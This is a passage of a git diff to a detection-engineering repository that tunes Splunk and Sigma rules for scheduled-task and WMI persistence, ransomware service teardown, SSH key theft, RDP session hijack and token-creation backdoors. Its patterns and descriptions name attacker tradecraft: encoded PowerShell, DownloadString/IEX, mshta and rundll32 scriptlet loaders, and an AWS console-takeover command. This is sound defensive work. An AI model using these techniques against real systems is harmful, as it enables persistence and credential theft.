"(?i)((^|[\\s>\"';(,=^])(-|/|–|—|―)(\\^|\"|")*((-|/|–|—|―)(\\^|\"|")*)?e((\\^|\"|")*c|(\\^|\"|")*n((\\^|\"|")*c((\\^|\"|")*o((\\^|\"|")*d((\\^|\"|")*e((\\^|\"|")*d((\\^|\"|")*c((\\^|\"|")*o((\\^|\"|")*m((\\^|\"|")*m((\\^|\"|")*a((\\^|\"|")*n((\\^|\"|")*d)?)?)?)?)?)?)?)?)?)?)?)?)?("|'|[\"'^])*(\\s|&#x?9;)+((("|'|[\"'^])*[A-Za-z0-9+/]){20}|("|\")((\\s|("|'|[\"'^]))*[A-Za-z0-9+/]){20})|(^|[\\s>\"';(,=^])(-|–|—|―)(\\^|\"|")*((-|–|—|―)(\\^|\"|")*)?e((\\^|\"|")*c|(\\^|\"|")*n((\\^|\"|")*c((\\^|\"|")*o((\\^|\"|")*d((\\^|\"|")*e((\\^|\"|")*d((\\^|\"|")*c((\\^|\"|")*o((\\^|\"|")*m((\\^|\"|")*m((\\^|\"|")*a((\\^|\"|")*n((\\^|\"|")*d)?)?)?)?)?)?)?)?)?)?)?)?)?("|'|[\"'^])*(\\s|&#x?9;)+("|'|[\"'^])*[%!$]|(^|[\\s>\"';(,=^])/(\\^|\"|")*e((\\^|\"|")*c|(\\^|\"|")*n((\\^|\"|")*c((\\^|\"|")*o((\\^|\"|")*d((\\^|\"|")*e((\\^|\"|")*d((\\^|\"|")*c((\\^|\"|")*o((\\^|\"|")*m((\\^|\"|")*m((\\^|\"|")*a((\\^|\"|")*n((\\^|\"|")*d)?)?)?)?)?)?)?)?)?)?)?)?)("|'|[\"'^])*(\\s|&#x?9;)+("|'|[\"'^])*[%!$])" or (TaskContent contains "-w 1" or TaskContent contains "-win h"))) or (TaskContent contains "cmd.exe" and TaskContent contains "/C " and TaskContent contains "\\Temp\\" and TaskContent contains ".tmp 2>&1")) // persistence/wmi_event_subscription_consumer.yml — WMI event subscription persistence - command-line or script consumer Operation =~ "Created" and ((EventID == 20 and (Destination contains "powershell" or Destination contains "pwsh" or Destination contains "cmd.exe" or Destination contains "mshta" or Destination contains "wscript" or Destination contains "cscript" or Destination contains "rundll32" or Destination contains "-enc " or Destination contains "-ec " or Destination contains "-EncodedCommand" or Destination contains "FromBase64String")) or (EventID == 20 and Type contains "Script") or (EventID == 20 and Type contains "Command Line")) and (not(Destination startswith "C:\\Program Files\\Monitoring\\agent.exe")) @@ -336,7 +336,7 @@ tag in~ ("project:oidc:publisher-added", "organization:oidc:publisher-added") // registry/harbor_artifact_deleted.yml — Harbor artifact deleted (force re-pull / anti-forensics) (operation =~ "delete" and (resource_type in~ ("artifact", "repository"))) and (not(username =~ "robot$harbor-gc")) -// registry/harbor_image_pushed_trusted_tag.yml — Harbor image push (backdoored image / trusted-tag poisoning) +// registry/harbor_image_pushed_trusted_tag.yml — Harbor artifact push or tag create (supply-chain triage surface) (operation =~ "create" and (resource_type in~ ("artifact", "tag"))) and (not(username =~ "robot$ci-pipeline")) // registry/harbor_robot_account_created.yml — Harbor robot account created (durable registry credential) @@ -364,7 +364,7 @@ query_type =~ "CREATE_USER" or (query_type =~ "GRANT" and (query_text contains " ['resource.type'] =~ "agent_pool" and ['resource.action'] =~ "create" // terraform/tfc_token_backdoor.yml — Terraform Cloud org/team API token created (durable-access backdoor) -['resource.type'] =~ "authentication_token" and ['resource.action'] =~ "create" +(['resource.type'] =~ "authentication_token" and ['resource.action'] =~ "create") and (not(['auth.description'] =~ "ci-deploy@example.com")) // terraform/tfc_variable_injection.yml — Terraform Cloud workspace variable created or updated (run hijack) (['resource.type'] =~ "variable" and (['resource.action'] in~ ("create", "update"))) and (not(['auth.description'] =~ "ci-deploy@example.com")) diff --git a/detections/siem/splunk-precedence-allowlist.tsv b/detections/siem/splunk-precedence-allowlist.tsv index 72e012cb..bc4bfd0b 100644 --- a/detections/siem/splunk-precedence-allowlist.tsv +++ b/detections/siem/splunk-precedence-allowlist.tsv @@ -20,7 +20,7 @@ detections/siem/splunk/savedsearches.generated.conf Mass file read - local data detections/siem/splunk/savedsearches.generated.conf Data encrypted for impact - BitLocker driven from the command line sigma condition is `1 of selection_* and not filter_provisioning`; the backend emits `(manage-bde) OR (powershell cmdlet) NOT ParentImage=*\\TSManager.exe`. Under search-command precedence (parens, NOT, OR, AND) the NOT binds to its own term first and the juxtaposed implicit AND binds loosest, so it reads ((manage-bde) OR (cmdlet)) AND NOT TSManager - the imaging filter covers BOTH branches, which is the intent: a task sequence drives manage-bde and Enable-BitLocker alike, so neither branch should alert on it. Same shape and same reading as the archive-staging row above. Added with the filter in #261 detections/siem/splunk/savedsearches.generated.conf AWS snapshot/AMI shared outside the organisation (T1537) sigma condition is `selection_grant and (selection_public or (selection_named and not filter_own_accounts))`; the backend emits `eventSource= eventName= (public x3) OR (named x3 NOT (own-accounts x3))`. Under search-command precedence (parens, NOT, OR, AND) the inner paren reads (named1 OR named2 OR named3) AND NOT (own-accounts), so the allowlist covers all three named branches; the outer OR group then binds under the two juxtaposed IN terms, so eventSource and eventName gate every branch. The three public branches sitting OUTSIDE that paren is the INTENT, not a miss - a `group: all` share is public and no account allowlist can make it benign, which is the whole two-tier design (#262). Same shape and reading as the archive-staging and BitLocker rows above detections/siem/splunk/savedsearches.generated.conf GCE startup-script metadata written (T1651) sigma condition is `1 of selection_* and not filter_iac`; the backend emits `(setMetadata + added_metadata_keys) OR (setMetadata + modified_metadata_keys) NOT principal_email=iac`. Under search-command precedence (parens, NOT, OR, AND) the NOT binds to its own term first and the juxtaposed implicit AND binds loosest, so it reads ((added) OR (modified)) AND NOT iac - the IaC allowlist covers BOTH arms, which is the intent: a provisioning principal writing a startup script is benign whether the key is new on the instance or overwrites an existing one, so exempting only one arm would leave the other alerting on every image build. Same shape and same reading as the BitLocker and archive-staging rows above. Added with the rule in #305 -detections/siem/splunk/savedsearches.generated.conf Mass service stop - the ransomware pre-encryption teardown (T1489) sigma condition (base rule service_stop_command) is `1 of selection_* and not filter_maintenance_parent`; the backend emits `(net stop) OR (sc stop/disable) OR (taskkill /f) OR (Stop-Service/Stop-Process) NOT ParentImage=maintenance` as the leading search command, ahead of `| bin | stats dc(CommandLine)`. Under search-command precedence (parens, NOT, OR, AND) the NOT binds to its own term first and the juxtaposed implicit AND binds loosest, so it reads (net OR sc OR taskkill OR powershell) AND NOT maintenance - the allowlist covers all four arms before the count, which is the intent: a suite's restart tooling mixes net, sc and PowerShell stops, and exempting only one arm would leave the others counting toward the burst. Same shape and same reading as the BitLocker row above. Added with the filter in #324 +detections/siem/splunk/savedsearches.generated.conf Mass service stop - the ransomware pre-encryption teardown (T1489) sigma condition (base rule service_stop_command) is `1 of selection_* and not filter_maintenance_parent`; the backend emits `(net stop) OR (sc stop/disable) OR (taskkill /f) OR (Stop-Service/Stop-Process) NOT ParentImage=maintenance` as the leading search command, ahead of `| bin | stats dc(CommandLine)`. Under search-command precedence (parens, NOT, OR, AND) the NOT binds to its own term first and the juxtaposed implicit AND binds loosest, so it reads (net OR sc OR taskkill OR powershell) AND NOT maintenance - the allowlist covers all four arms before the count, which is the intent: a suite's restart tooling mixes net, sc and PowerShell stops, and exempting only one arm would leave the others counting toward the burst. Same shape and same reading as the BitLocker row above. Added with the filter in #324. Re-traced 2026-10-14 after the ' stop ' trailing-space anchor landed on the net and sc arms (#351): the values changed, the four-arm OR NOT shape did not detections/siem/splunk/savedsearches.generated.conf Registry Run key pointing at a user-writable path or an interpreter (Sysmon 13) sigma condition is `run_key and 1 of target_* and not filter_user_apps`; the backend emits `TargetObject IN (run keys) Details IN (user-writable) OR Details IN (interpreters) NOT Details=(allowlisted app)` with no parens. Under search precedence (parens, NOT, OR, AND) NOT binds first, OR joins the two target lists, and the implicit AND ties both to the run-key list and to the filter - so the allowlist applies to both branches, which is the intent. detections/siem/splunk/savedsearches.generated.conf LSASS process access with dump-shaped rights sigma condition is `selection and selection_access and not filter_av`; the backend emits `TargetImage=lsass (suffix IN) OR (prefix IN) NOT (agent allowlist)`. Under search-command precedence (parens, NOT, OR, AND) the NOT binds to its own paren first and the OR groups the two GrantedAccess lists, so it reads lsass AND (VM_READ-suffix OR full-rights-prefix) AND NOT agents - the EDR allowlist covers BOTH access branches, which is the intent. Traced 2026-09-28 when the exact-mask list became a VM_READ-bit match detections/siem/splunk/savedsearches.generated.conf HashiCorp Vault auth role / AppRole / auth method created (persistence) sigma condition is `selection and 1 of paths_* and not filter_secret_id_admin and not (secret_id_mint and not mint_is_role_name and filter_ci_orchestrator)`; the backend emits `type op (identity paths IN) OR request.path=sys/auth/* NOT (auth/approle/role/* housekeeping-suffix IN) NOT (auth/approle/role/* mint-suffix IN NOT (role-named-secret-id exact IN) entity=orchestrator)`. Under search-command precedence (parens, NOT, OR, AND) the OR groups only the two path branches and each top-level NOT is its own term, so it reads request AND create|update AND (identity paths OR sys/auth) AND NOT housekeeping AND NOT (mint AND NOT role-named-secret-id AND orchestrator) - both exemptions bind to every path branch, and the inner NOT sits inside its parentheses, which is the intent. Re-traced 2026-09-29 each time the exemptions changed (lookup/destroy exclusion; exact suffixes; pinned to auth/*/role/* with the role-named-secret-id carve-out; pinned to the auth/approle/role/ mount with an exact-path carve-out) diff --git a/detections/siem/splunk/savedsearches.generated.conf b/detections/siem/splunk/savedsearches.generated.conf index a073759d..eb6ea014 100644 --- a/detections/siem/splunk/savedsearches.generated.conf +++ b/detections/siem/splunk/savedsearches.generated.conf @@ -826,10 +826,23 @@ search = source="WinEventLog:Security" EventCode=4624 LogonType=3 NOT (IpAddress [RDP session hijack - tscon redirect to an RDP endpoint] description = Detects the command-line path of RDP session hijacking: a process creation carrying a \ "tscon ... /dest:rdp-tcp#" command line. Low false-positive on what it covers - admins \ -almost never tscon to another session's RDP endpoint by hand - and it covers both the \ -direct invocation and the SYSTEM-via-service variant, because "sc create ... binpath= \ -...tscon.../dest:rdp-tcp#..." embeds that same string in sc.exe's own command line and \ -matches on it. \ +almost never tscon to another session's RDP endpoint by hand. \ +Two arms, and which channel each one sees, written down because the #351 review read \ +them the other way round: \ + - `selection` is the /dest:rdp-tcp# string on ANY image, and that is deliberate. The \ + SYSTEM-via-service variant runs "sc create ... binpath= ...tscon.../dest:rdp-tcp#" \ + and embeds the string in sc.exe's own command line; a `cmd /c` wrapper embeds it in \ + cmd.exe's. An Image allowlist would have to enumerate every wrapper and each \ + omission is a blind spot, while the string itself is the discriminator - nothing \ + legitimate carries it, and an attacker who plants it to trip the alert has tripped \ + the alert. This arm reads CommandLine only, which native 4688 and Sysmon 1 both \ + carry, so the sc-create variant is covered on BOTH channels. \ + - `tscon_image and as_system` is the no-/dest interactive hijack (`psexec -s cmd`, \ + then `tscon 3`) and is Sysmon-1 only; its comment gives the 4688 substitution. \ +mstsc /shadow is session shadowing - viewing or controlling a live session, consent-gated \ +unless policy removes the prompt - and runs neither tscon nor any /dest argument. It is a \ +different technique with its own events in the TerminalServices-RemoteConnectionManager \ +log, out of scope here and stated rather than implied. \ Blind spot, stated rather than left to be discovered: tscon.exe is a thin wrapper over \ the Wtsapi32 WTSConnectSession / WTSDisconnectSession API, and a hijack that calls the \ API directly runs neither tscon.exe nor any "/dest:rdp-tcp#" argument, so this rule does \ @@ -1340,7 +1353,8 @@ search = source="WinEventLog:Security" EventCode=4720 NOT SubjectUserName="svc_i [Scheduled task created with a suspicious action] description = Detects scheduled-task persistence: a 4698 task-created event whose task XML runs \ -encoded/hidden PowerShell or a LOLBin (mshta/regsvr32/rundll32). Detect on the action, \ +encoded/hidden PowerShell, mshta, or regsvr32/rundll32 pointed at something an attacker \ +controls. Detect on the action, \ not the task name; 4702 catches the modify-an-existing-task variant. Baseline your \ software's legit tasks and alert on the rest. \ Scoped to the interpreter/LOLBin shapes on purpose: bare '\Users\' and '\Temp\' \ @@ -1350,6 +1364,14 @@ third-party installers register tasks from those paths at volume, and a path mat common turns a high-severity rule into a mute button. If you want drop-directory \ coverage, add it as a separate lower-confidence rule gated on a task-name or \ signed-binary allowlist rather than folding it back into this OR. \ +regsvr32 and rundll32 are gated for the same reason, as of the #351 review: OEM and \ +vendor installers register rundll32 actions against System32 DLLs at volume, so the bare \ +binary name fired at high on a display-calibration task. The LOLBin arm now requires a \ +co-occurring attacker-controlled target - a URL or scriptlet (/i:http, javascript:), a \ +UNC path, or a user-writable directory. \Users\ and \Temp\ return ONLY inside that AND \ +and stay out of the bare OR for the reason above. mshta stays bare: a scheduled task \ +whose action is mshta has no benign shape worth the exception. Neither LOLBin had a \ +fixture before this change, so the bare arms had never been shown to fire. \ The interpreter tokens are anchored for the same reason the path matches were dropped. \ A bare 'IEX' is a 3-character case-insensitive substring against the whole task XML, so \ it matches iexplore.exe and any author/product string containing "iex"; it is written \ @@ -1369,7 +1391,7 @@ Object Access > Other Object Access Events audit subcategory. search = source="WinEventLog:Security" EventCode=4698 \ | rex field=TaskContent "(?(?i)((^|[\\s>\"';(,=^])(-|/|–|—|―)(\\^|\"|")*((-|/|–|—|―)(\\^|\"|")*)?e((\\^|\"|")*c|(\\^|\"|")*n((\\^|\"|")*c((\\^|\"|")*o((\\^|\"|")*d((\\^|\"|")*e((\\^|\"|")*d((\\^|\"|")*c((\\^|\"|")*o((\\^|\"|")*m((\\^|\"|")*m((\\^|\"|")*a((\\^|\"|")*n((\\^|\"|")*d)?)?)?)?)?)?)?)?)?)?)?)?)?("|'|[\"'^])*(\\s|&#x?9;)+((("|'|[\"'^])*[A-Za-z0-9+/]){20}|("|\")((\\s|("|'|[\"'^]))*[A-Za-z0-9+/]){20})|(^|[\\s>\"';(,=^])(-|–|—|―)(\\^|\"|")*((-|–|—|―)(\\^|\"|")*)?e((\\^|\"|")*c|(\\^|\"|")*n((\\^|\"|")*c((\\^|\"|")*o((\\^|\"|")*d((\\^|\"|")*e((\\^|\"|")*d((\\^|\"|")*c((\\^|\"|")*o((\\^|\"|")*m((\\^|\"|")*m((\\^|\"|")*a((\\^|\"|")*n((\\^|\"|")*d)?)?)?)?)?)?)?)?)?)?)?)?)?("|'|[\"'^])*(\\s|&#x?9;)+("|'|[\"'^])*[%!$]|(^|[\\s>\"';(,=^])/(\\^|\"|")*e((\\^|\"|")*c|(\\^|\"|")*n((\\^|\"|")*c((\\^|\"|")*o((\\^|\"|")*d((\\^|\"|")*e((\\^|\"|")*d((\\^|\"|")*c((\\^|\"|")*o((\\^|\"|")*m((\\^|\"|")*m((\\^|\"|")*a((\\^|\"|")*n((\\^|\"|")*d)?)?)?)?)?)?)?)?)?)?)?)?)("|'|[\"'^])*(\\s|&#x?9;)+("|'|[\"'^])*[%!$]))" \ | eval TaskContentCondition=if(isnotnull(TaskContentMatch), "true", "false") \ -| search source="WinEventLog:Security" EventCode=4698 TaskContent IN ("*-enc *", "*-EncodedCommand*", "*-w hidden*", "*-WindowStyle Hidden*", "*FromBase64String*", "*mshta*", "*\\regsvr32.exe*", "*\\rundll32.exe*", "*DownloadString*", "*IEX(*", "*IEX *", "*| IEX*") OR (TaskContent IN ("*powershell*", "*pwsh*") TaskContentCondition="true" OR TaskContent IN ("*-w 1*", "*-win h*")) OR (TaskContent="*cmd.exe*" TaskContent="*/C *" TaskContent="*\\Temp\\*" TaskContent="*.tmp 2>&1*") +| search source="WinEventLog:Security" EventCode=4698 TaskContent IN ("*-enc *", "*-EncodedCommand*", "*-w hidden*", "*-WindowStyle Hidden*", "*FromBase64String*", "*mshta*", "*DownloadString*", "*IEX(*", "*IEX *", "*| IEX*") OR (TaskContent IN ("*\\regsvr32.exe*", "*\\rundll32.exe*", "*regsvr32*", "*rundll32*") TaskContent IN ("*>http*", "* http*", "*"http*", "*'http*", "*\\\\*", "*javascript:*", "*vbscript:*", "*/i:*", "*\\Users\\*", "*\\Temp\\*", "*\\ProgramData\\*", "*%APPDATA%*", "*%TEMP%*", "*%PUBLIC%*")) OR (TaskContent IN ("*powershell*", "*pwsh*") TaskContentCondition="true" OR TaskContent IN ("*-w 1*", "*-win h*")) OR (TaskContent="*cmd.exe*" TaskContent="*/C *" TaskContent="*\\Temp\\*" TaskContent="*.tmp 2>&1*") [WMI event subscription persistence - command-line or script consumer] description = Detects fileless WMI event-subscription persistence: Sysmon 20 (WmiConsumer) \ @@ -1529,6 +1551,13 @@ Highest-value tuning is not the threshold, it is filter_identity_admins: fill it becomes near-zero-FP, because the accounts that legitimately do this in bulk are a short, \ knowable list. Best paired with a standing alert on ANY change to break-glass accounts, \ which no threshold should ever suppress. \ +4724 is pooled with 4725/4726 on purpose, and because the pooling has been questioned the \ +reason is written down: resetting a responder's password locks them out as surely as \ +disabling the account, and an actor walking a list does whichever is quicker. The one \ +benign shape that trips the pool - an org-wide forced reset after a credential exposure - \ +comes from the identity-admin principals filter_identity_admins exists to name. A \ +lower-priority 4724 arm would quieten that shape only by hiding the attacker who resets \ +rather than disables, which is the wrong half to lose. \ Validate (purple): run the defender lock-out fold from dotfiles-Offense (htpx pair \ account-lockout-defenders). Requires the Audit User Account Management subcategory. search = source="WinEventLog:Security" EventCode IN (4724, 4725, 4726) NOT (SubjectUserName IN ("svc_jml", "helpdesk-admin")) \ @@ -1683,7 +1712,7 @@ shifts it. \ Validate (purple): run the ransomware-precursor fold from dotfiles-Offense alongside \ the recovery-inhibition commands (htpx pair inhibit-recovery-vssadmin). Requires the \ Process Creation audit subcategory (4688) or Sysmon EventID 1. -search = (Image IN ("*\\net.exe", "*\\net1.exe") CommandLine="* stop*") OR (Image="*\\sc.exe" CommandLine IN ("* stop*", "*start= disabled*", "*start=disabled*")) OR (Image="*\\taskkill.exe" CommandLine="*/f *") OR (Image IN ("*\\powershell.exe", "*\\pwsh.exe") CommandLine IN ("*Stop-Service*", "*Stop-Process*")) NOT ParentImage="*\\app-suite-maintenance.exe" \ +search = (Image IN ("*\\net.exe", "*\\net1.exe") CommandLine="* stop *") OR (Image="*\\sc.exe" CommandLine IN ("* stop *", "*start= disabled*", "*start=disabled*")) OR (Image="*\\taskkill.exe" CommandLine="*/f *") OR (Image IN ("*\\powershell.exe", "*\\pwsh.exe") CommandLine IN ("*Stop-Service*", "*Stop-Process*")) NOT ParentImage="*\\app-suite-maintenance.exe" \ \ | bin _time span=5m \ | stats dc(CommandLine) as value_count by _time Computer \ @@ -1887,6 +1916,11 @@ touching many users' keys in a short window - which is a value_count correlation this rule once you have a baseline for how many key reads are normal on your hosts. \ The correlation is deliberately not shipped here: its threshold is a property of your \ estate, not of the rule. \ +The legacy SSHv1 key is always exactly ~/.ssh/identity, so it is matched as \ +'/.ssh/identity'. The bare '/identity' it replaced matched every read under a directory \ +whose name begins with identity - ~/identity-service/config.yml, ~/.config/identity/... - \ +a standing false-positive stream on a high rule with no key theft behind it. A key \ +named identity outside .ssh/ is now out of scope, and that is the right trade. \ Requires an auditd read watch that sets the key (load with `augenrules --load`): \ -w /home -p r -k ssh_key_read \ -w /root/.ssh/ -p r -k ssh_key_read \ @@ -1897,7 +1931,7 @@ document (auditbeat/Elastic, the Splunk auditd TA); a raw per-line parser leaves inert. See the auditd note in detections/README.md. \ Validate (purple): harvest private keys from dotfiles-Offense (htpx pair \ ssh-key-theft-credaccess). -search = key="ssh_key_read" name IN ("*/id_rsa*", "*/id_ecdsa*", "*/id_ed25519*", "*/id_dsa*", "*/identity*") NOT (exe IN ("/usr/bin/ssh", "/usr/sbin/sshd", "/usr/bin/ssh-agent", "/usr/bin/ssh-keygen", "/usr/bin/ssh-add", "/usr/bin/scp", "/usr/bin/sftp", "/usr/bin/git") OR name="*.pub") +search = key="ssh_key_read" name IN ("*/id_rsa*", "*/id_ecdsa*", "*/id_ed25519*", "*/id_dsa*", "*/.ssh/identity*") NOT (exe IN ("/usr/bin/ssh", "/usr/sbin/sshd", "/usr/bin/ssh-agent", "/usr/bin/ssh-keygen", "/usr/bin/ssh-add", "/usr/bin/scp", "/usr/bin/sftp", "/usr/bin/git") OR name="*.pub") [Root shell spawned under a real login uid - sudo escape (auditd)] description = Detects T1548.003 (Abuse Elevation Control Mechanism: Sudo and Sudo Caching): an \ @@ -2089,6 +2123,11 @@ account takeover. A login profile is normally set once at user creation by an \ admin, and users reset only their own, so CreateLoginProfile on an existing user \ or UpdateLoginProfile where actor != target is the tell. Pairs with the \ CreateAccessKey alert for the full console+API takeover. \ +No filter_iac here, on purpose (declined in the #351 review): an automation principal \ +minting console passwords for IAM users is itself worth seeing - console access belongs \ +on the IdP, not on a Terraform-managed login profile - the triage criterion is actor != \ +target, and at medium this is a triage surface rather than a page, the posture \ +aws_iam_access_key_created already takes for the API half of the same takeover. \ Validate (purple): run "aws iam create-login-profile --user-name " from \ dotfiles-Offense (htpx pair aws-console-login-profile). search = eventSource="iam.amazonaws.com" eventName IN ("CreateLoginProfile", "UpdateLoginProfile") @@ -2626,9 +2665,14 @@ when first shipped. Event names checked against GitLab's audit-event catalog \ project_deploy_token_created, the project-level deploy token is the bare \ deploy_token_created. Reconcile new tokens against known CI integrations, prefer \ short expirations, and review any created during an incident. \ +Shipped bare until the #351 review: the gitlab_personal_access_token, \ +gitlab_project_access_token and gitlab_deploy_token Terraform resources mint one on every \ +apply that rotates it, so the automation actor is excluded below. First filter in this \ +folder, keyed on the streamed audit event's top-level author_name - see the block comment \ +for why author_id is the stricter form. \ Validate (purple): mint a project access / deploy token from dotfiles-Offense (htpx pair \ gl-token-backdoor); mint a group access token on a lab group. -search = event_type IN ("project_access_token_created", "group_access_token_created", "personal_access_token_created", "deploy_token_created", "group_deploy_token_created") +search = event_type IN ("project_access_token_created", "group_access_token_created", "personal_access_token_created", "deploy_token_created", "group_deploy_token_created") NOT author_name="ci-bot" ### registry (--without-pipeline) @@ -2645,7 +2689,7 @@ Validate (purple): delete a trusted artifact via the Harbor API from dotfiles-Of (htpx pair harbor-artifact-delete). search = operation="delete" resource_type IN ("artifact", "repository") NOT username="robot$harbor-gc" -[Harbor image push (backdoored image / trusted-tag poisoning)] +[Harbor artifact push or tag create (supply-chain triage surface)] description = Surfaces artifact pushes and tag creations in the Harbor registry audit log for \ supply-chain triage. Harbor records a push as operation=create on resource_type=artifact \ (PushArtifactEvent resolves to rbac.ActionCreate - there is no "push" operation), and \ @@ -2658,6 +2702,11 @@ to a protected repo by an unexpected actor, one that overwrites an existing tag, push outside the CI service account / build window. Compare the new digest to the last \ known-good and enforce image signing (cosign / content trust) so an unsigned overwrite \ is blocked, not just logged. \ +The filename keeps the threat this exists for; the title says what the logic does: every \ +artifact push and tag create minus the CI robot in filter_ci. A protected-repo or \ +tag-pattern selector would sharpen it, but a selection-side list is INERT until filled - \ +the opposite failure from a noisy filter, and one this repo does not ship. Add that \ +discriminator at the backend, where your protected repos are known. \ Validate (purple): push over a trusted tag from dotfiles-Offense (htpx pair \ harbor-image-backdoor). search = operation="create" resource_type IN ("artifact", "tag") NOT username="robot$ci-pipeline" @@ -2764,9 +2813,12 @@ read/write variables, pull state - and survive the compromised user's password r so one minted by an unexpected actor is a persistence tell after a control-plane \ compromise (T1098). Reconcile new tokens against known CI integrations and prefer \ short-lived team tokens scoped to a workspace. \ +Shipped bare until the #351 review while tfc_variable_injection carried a filter_ci: the \ +tfe_team_token and tfe_organization_token resources mint a token on every apply that \ +rotates one, so the pipeline actor is excluded below the same way. \ Validate (purple): mint an org/team token via the TFC API from dotfiles-Offense (htpx pair \ tfc-token-backdoor). -search = resource.type="authentication_token" resource.action="create" +search = resource.type="authentication_token" resource.action="create" NOT auth.description="ci-deploy@example.com" [Terraform Cloud workspace variable created or updated (run hijack)] description = Detects workspace variable changes in the Terraform Cloud audit trail \ @@ -2926,9 +2978,12 @@ and survives the compromised user's password/session reset, so one minted by an unexpected actor is a persistence tell after an account compromise (T1098). Tokens are \ issued rarely and by a known set of admins/automation; reconcile new tokens against \ known integrations, scope them tightly, and alert on creation outside change control. \ +Shipped bare until the #351 review while both Cloudflare siblings carried a filter_ci: \ +Terraform's cloudflare_api_token resource mints a token on every apply that touches it, \ +so the IaC identity is excluded below the way the WAF and Worker rules exclude it. \ Validate (purple): mint an API token via the Cloudflare API from dotfiles-Offense (htpx \ pair cf-api-token). -search = resource.type="api_token" action.type="create" +search = resource.type="api_token" action.type="create" NOT actor.email="ci-deploy@example.com" [Cloudflare WAF/firewall rule deleted or disabled (edge exposed)] description = Detects removal or weakening of a Cloudflare edge control in the account audit log \ diff --git a/detections/sigma/cloud/aws_login_profile_created.yml b/detections/sigma/cloud/aws_login_profile_created.yml index 790497be..8c0f4680 100644 --- a/detections/sigma/cloud/aws_login_profile_created.yml +++ b/detections/sigma/cloud/aws_login_profile_created.yml @@ -8,6 +8,11 @@ description: | admin, and users reset only their own, so CreateLoginProfile on an existing user or UpdateLoginProfile where actor != target is the tell. Pairs with the CreateAccessKey alert for the full console+API takeover. + No filter_iac here, on purpose (declined in the #351 review): an automation principal + minting console passwords for IAM users is itself worth seeing - console access belongs + on the IdP, not on a Terraform-managed login profile - the triage criterion is actor != + target, and at medium this is a triage surface rather than a page, the posture + aws_iam_access_key_created already takes for the API half of the same takeover. Validate (purple): run "aws iam create-login-profile --user-name " from dotfiles-Offense (htpx pair aws-console-login-profile). references: @@ -15,6 +20,7 @@ references: - https://github.com/dotgibson/htpx/blob/main/entries/blue/aws-loginprofile-cloudtrail.md author: dotfiles-Defense date: 2026-06-30 +modified: 2026-10-14 tags: - attack.persistence - attack.t1098 diff --git a/detections/sigma/cloud/entra_illicit_consent_grant.yml b/detections/sigma/cloud/entra_illicit_consent_grant.yml index 09db20e1..8adc2a83 100644 --- a/detections/sigma/cloud/entra_illicit_consent_grant.yml +++ b/detections/sigma/cloud/entra_illicit_consent_grant.yml @@ -19,6 +19,7 @@ references: - https://github.com/dotgibson/htpx/blob/main/entries/blue/consent-grant-auditlogs.md author: dotfiles-Defense date: 2026-06-30 +modified: 2026-10-14 tags: - attack.credential-access - attack.t1528 @@ -49,6 +50,14 @@ detection: # DEPLOY-REQUIRED: replace with your sanctioned app (client) IDs so verified LOB apps # that legitimately hold these scopes don't alert. Until filled this excludes only the # example. Run detections/sigma/deploy-required.sh to find this. + # ANCHOR IT AT THE BACKEND. `TargetResources|contains` is unanchored, so an event that + # merely MENTIONS a sanctioned id - as the resource API in modifiedProperties, or as a + # related object - is suppressed even when the app actually consented to is a different, + # malicious one. Over-suppression is silent; noise is not. On Sentinel the consented app + # is TargetResources[0]: its `id` is the service principal OBJECT id, and the app + # (client) id this placeholder names sits in its modifiedProperties entry + # TargetId.ServicePrincipalNames. Key the allowlist on one of those two paths, the way + # the scope match above is keyed on DelegatedPermissionGrant.Scope. TargetResources|contains: - '00000000-0000-0000-0000-000000000000' # example client id — replace condition: selection_consent and selection_highrisk_scope and not filter_known_apps @@ -56,4 +65,8 @@ falsepositives: - Sanctioned line-of-business apps onboarded via user consent that legitimately need mail/file scopes - allowlist their app IDs in filter_known_apps, or restrict user consent to verified publishers (which turns this into prevention). + - The inverse failure, worth more attention than the noise - an allowlisted id that + appears anywhere in the event (as the resource API, not the consented client) hides + a grant to a different app. Anchor the allowlist to the consented app's own field at + the backend; the filter comment names the paths. level: medium diff --git a/detections/sigma/cloudflare/cloudflare_api_token_created.yml b/detections/sigma/cloudflare/cloudflare_api_token_created.yml index 6f065dbe..fd225e0c 100644 --- a/detections/sigma/cloudflare/cloudflare_api_token_created.yml +++ b/detections/sigma/cloudflare/cloudflare_api_token_created.yml @@ -9,6 +9,9 @@ description: | unexpected actor is a persistence tell after an account compromise (T1098). Tokens are issued rarely and by a known set of admins/automation; reconcile new tokens against known integrations, scope them tightly, and alert on creation outside change control. + Shipped bare until the #351 review while both Cloudflare siblings carried a filter_ci: + Terraform's cloudflare_api_token resource mints a token on every apply that touches it, + so the IaC identity is excluded below the way the WAF and Worker rules exclude it. Validate (purple): mint an API token via the Cloudflare API from dotfiles-Offense (htpx pair cf-api-token). references: @@ -16,6 +19,7 @@ references: - https://github.com/dotgibson/htpx/blob/main/entries/blue/cf-api-token-audit.md author: dotfiles-Defense date: 2026-07-02 +modified: 2026-10-14 tags: - attack.persistence - attack.t1098 @@ -26,8 +30,20 @@ detection: selection: resource.type: 'api_token' action.type: 'create' - condition: selection + filter_ci: + # DEPLOY-REQUIRED: replace with the identity your IaC pipeline mints tokens as (the + # Terraform service account's email, or the token owner shown in the audit log). + # Terraform's cloudflare_api_token resource creates a token on every apply that touches + # it, so without this each pipeline run is a high-severity alert and the rule gets + # muted - the same stub cloudflare_waf_rule_disabled and cloudflare_worker_deployed + # carry. Until filled this excludes only the example actor. + # Run detections/sigma/deploy-required.sh to find this. + actor.email: + - 'ci-deploy@example.com' # example — replace with your CI service identity + condition: selection and not filter_ci falsepositives: + - Routine token rotation from the IaC pipeline - allowlist the CI service identity in + filter_ci; what remains is a token minted by a human or an unknown integration. - Onboarding a sanctioned integration or automation - allowlist the expected admin actors and review broadly scoped tokens or any created during an incident. level: high diff --git a/detections/sigma/gitlab/gitlab_token_backdoor.yml b/detections/sigma/gitlab/gitlab_token_backdoor.yml index 13514bc0..b6c2196d 100644 --- a/detections/sigma/gitlab/gitlab_token_backdoor.yml +++ b/detections/sigma/gitlab/gitlab_token_backdoor.yml @@ -15,6 +15,11 @@ description: | project_deploy_token_created, the project-level deploy token is the bare deploy_token_created. Reconcile new tokens against known CI integrations, prefer short expirations, and review any created during an incident. + Shipped bare until the #351 review: the gitlab_personal_access_token, + gitlab_project_access_token and gitlab_deploy_token Terraform resources mint one on every + apply that rotates it, so the automation actor is excluded below. First filter in this + folder, keyed on the streamed audit event's top-level author_name - see the block comment + for why author_id is the stricter form. Validate (purple): mint a project access / deploy token from dotfiles-Offense (htpx pair gl-token-backdoor); mint a group access token on a lab group. references: @@ -22,7 +27,7 @@ references: - 